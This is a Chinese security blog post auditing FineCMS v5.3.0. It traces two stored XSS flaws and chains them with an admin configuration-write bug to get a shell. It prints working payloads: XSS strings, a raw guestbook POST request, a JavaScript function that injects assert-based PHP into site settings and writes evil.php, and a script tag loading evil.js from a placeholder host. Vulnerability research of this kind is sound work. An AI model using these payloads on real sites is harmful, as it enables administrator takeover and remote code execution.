兄dei ! 请接住FineCMS的GetShell姿势

0x00 背景

上周,发现了finecms的一些后台的洞,斗哥先从配置文件写入开始分析,然后再结合本篇的存储XSS进行GetShell,本篇分析下存储XSS的问题,最终通过这两类洞的组合利用GetShell,期待与师傅们的交流讨论。

0x01 审计过程

0x00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206 问题文件: \finecms\finecms\system\core\Log.php 漏洞类型:存储型XSS 站点地址:http://www.finecms.net/

0x01 漏洞分析

在\finecms\finecms\system\core\Log.php文件中的第170-237行中,发现write_log方法,通过分析代码发现传入的$msg变量在传递到fwrite方法中的过程没有经过安全处理,直接写到文件中,可能存在文件写入的问题。

通过寻找write_log方法被调用的位置,在\finecms\finecms\system\core\Common.php文件中的第469行中发现被调用的位置。

寻找log_message方法被调用的位置,发现log_message被调用的位置很多,现在以如下文件中的代码分析为例,在\finecms\finecms\system\core\Exceptions.php文件中的show_404方法的第135行中的代码调用了log_message。

寻找show_404方法被调用的位置,在\finecms\finecms\system\core\CodeIgniter.php文件中的第494行发现调用的位置,且传入的数据是$RTR->directory.$class.'/'.$method,通过分析该文件的代码可以知道$class和$method是在传入参数值后在router中未找到相应的文件或方法的值,然后将这些数据进行拼接,通过show_404方法去调用log_message再调用write_log写入到日志文件中,因此存在文件写入问题。

由于此处写入的文件\finecms\cache\errorlog\log-2018-02-28.php中的PHP代码在exit之后,所以需要在某些操作下才能触发我们写入的PHP代码。

所以此处的漏洞可以有两种用法,一种是写入php代码,然后坐等管理员登录后台进行”某些操作”,从而触发PHP代码,另一只方式是写入前端代码类似<img src=1 onerror=alert(1)> 通过xss,在管理员浏览错误日志的时候直接进行可以触发PHP代码的操作请求,这里可以结合文件本漏洞或其他漏洞进行GetShell,这里的”某些操作”我进行简要的分析并没有发现,如果有师傅发现了请告诉我。

0x02 漏洞复现

例如,进行以下请求http://127.0.0.1/index.php?c=mail&m=test<img+src=1+onerror=alert(1)>&id=1&0.3873487753402759将前端代码写到日志中。

当管理员进入后台访问错误日志的时候就会触发XSS,这里输出的代码分析就不做了,本身就没有编码输出。

然后可以利用这个XSS进行GetShell 首先构造如下ajax。

function csrf_shell()
{
var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("POST","/admin.php?c=site&m=index",true);
xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp1.send("ids[]=1&data[1][name]=FineCMS&data[1][domain]=127.0.0.1'=>1).die($_GET['func']($_GET['evil'])//");
var xmlhttp2=new XMLHttpRequest();
xmlhttp2.open("POST","/admin.php?c=site&m=index&func=assert&evil=fwrite(fopen('evil.php', 'w'),'<?php phpinfo();?>')",true);
xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp2.send("ids[]=1&data[1][name]=FineCMS&data[1][domain]=127.0.0.1'=>1).die($_GET['func']($_GET['evil'])//");
};
csrf_shell();

然后进行如下请求将前端代码写入日志文件中, http://127.0.0.1/index.php?c=mail&m=test<script src=http://xx.xx.xx/evil.js></script>

当管理员查看错误日志的时候就能够GetShell。

1x00 相关环境

源码信息:FineCMS v5.3.0 bulid 20180206 问题文件: \finecms\finecms\dayrui\core\M_Controller.php 漏洞类型:存储型XSS 站点地址:http://www.finecms.net/

1x01 漏洞分析

在测试FineCMS的时候,发现留言的时候直接发送html代码,因此可能存在存储xss,通过数据流的跟踪,得知在FineCMS留言板中默认情况下是未对输入的字符进行XSS安全处理的,首先分析下留言内容存入数据库的操作。

分析输入的代码,在\finecms\finecms\dayrui\controllers\Form.php文件的第53行,将传入的$data使用new_addc方法进行数据库insert操作,其中$data便是用户提交的可控字符,这里仅需要这么理解即可,因为实际情况数据传递比较复杂。

通过反现跟踪\finecms\finecms\dayrui\controllers\Form.php文件中的$data数据,得知是由$this->validate_filter($this->form['field']);得到的。

跟入validate_filter方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第952行中发现该方法,这里主要看问题代码,这里$field['fieldtype']的值为Ueditor因此得到的值是1,然后在第985行中,当$validate['xss']为1的时候是不会进行XSS的安全检测的。

分析输出的代码,在文件\finecms\finecms\dayrui\controllers\admin\Fcontent.php文件中的第203行中从数据库中获取留言内容。

跟入get_data方法,在\finecms\finecms\dayrui\models\Form_model.php文件中的第375-388行中,找到该方法代码块,可以看到该方法未对取出的数据进行任何处理。

继续回到\finecms\finecms\dayrui\controllers\admin\Fcontent.php文件,然后追踪$data在页面回显的代码位置,在第231行中找到输出的代码块。

跟进field_input方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第1427行发现代码块。

继续跟进new_field_input方法,在\finecms\finecms\dayrui\core\M_Controller.php文件中的第1270行中发现该方法的代码块,通过分析和打印的方式进行测试,在第1414行打印$myfield得到回显的页面,是没有经过编码的,因此存在存储型XSS。

1x02 漏洞复现

在前台留言板中进行如下请求:

POST /index.php?c=form&mid=liuyan HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Referer: http://127.0.0.1/index.php?c=form&mid=liuyan
Connection: close
Upgrade-Insecure-Requests: 1

data%5Btitle%5D=4&code=bgsp&data%5Bneirong%5D=<p>3<br/></p><img//onerror="alert`1`"//src="1">

然后当管理员访问后台的留言信息的时候便会触发XSS,攻击者可以利用存储XSS对后台漏洞进行攻击利用。

0x02 小结

本篇仅列举了两处存储XSS,与上周的后台文件写入问题的漏洞结合利用便可以GetShell。

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2018-03-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏python爬虫实战之路

CentOS7.0安装/卸载MySQL

在MySQL官网中下载YUM源rpm安装包:http://dev.mysql.com/downloads/repo/yum/

1412
来自专栏极客猴

Django 2.1 版本已经来袭

一个备受关注、很多人都在使用的软件,软件开发团队会定期发布新版本。其主要目的是修复之前一些 Bug 以及新增一些新特性。Django 作为主流的 Python ...

1072
来自专栏杨龙飞前端

正向代理与反向代理

拿来注意,这个感觉挺有用的,正向对客户端透明,服务端不透明,反向对服务端透明,对客户端不透明,反向常用于内网,负载均衡。

1552
来自专栏c#开发者

OLEDB adapter for Biztalk server 2006更新[源码]

前一个阶段做一个<<General Database Adapter for Biztalk Server 2006 介绍>>主要功能实现对OLEDB数据库的访...

2907
来自专栏ASP.NETCore

.NET Core扩展IServiceCollection自动注册服务

在ASP.NET Core中使用依赖注入中使用很简单,只需在Startup类的ConfigureServices()方法中,通过IServiceCollecti...

2002
来自专栏java系列博客

【redis】安装与运行:Creating Server TCP listening socket 127.0.0.1:6379: bind: No error

5435
来自专栏我的博客

mac下mcrypt扩展解决

如果使用php自带的加密算法,其中需要这个mcrypt扩展,各种编译通不过。。后来干脆下在一个 【点击下载mcrypt.so】 然后修改 sudo vi /et...

2846
来自专栏Debian社区

如何更改 Linux 的 I/O 调度器

Linux 的 I/O 调度器是一个以块式 I/O 访问存储卷的进程,有时也叫磁盘调度器。Linux I/O 调度器的工作机制是控制块设备的请求队列:确定队列中...

702
来自专栏任浩强的运维生涯

调用redis的时候二维码不断刷新的排查

一、背景和现象。 项目是PHP开发的,点击登录的时候就根据随机数生成了二维码,缓存在了redis。用户用微信扫描了二维码分析出需要请求的链接,然后微信浏览器就请...

3695
来自专栏北京马哥教育

Python之Flake8 - Coding Style检查自动化的利器

参考文档: http://blog.csdn.net/gaoyingju/article/details/50449522 http://fla...

3868

扫码关注云+社区

领取腾讯云代金券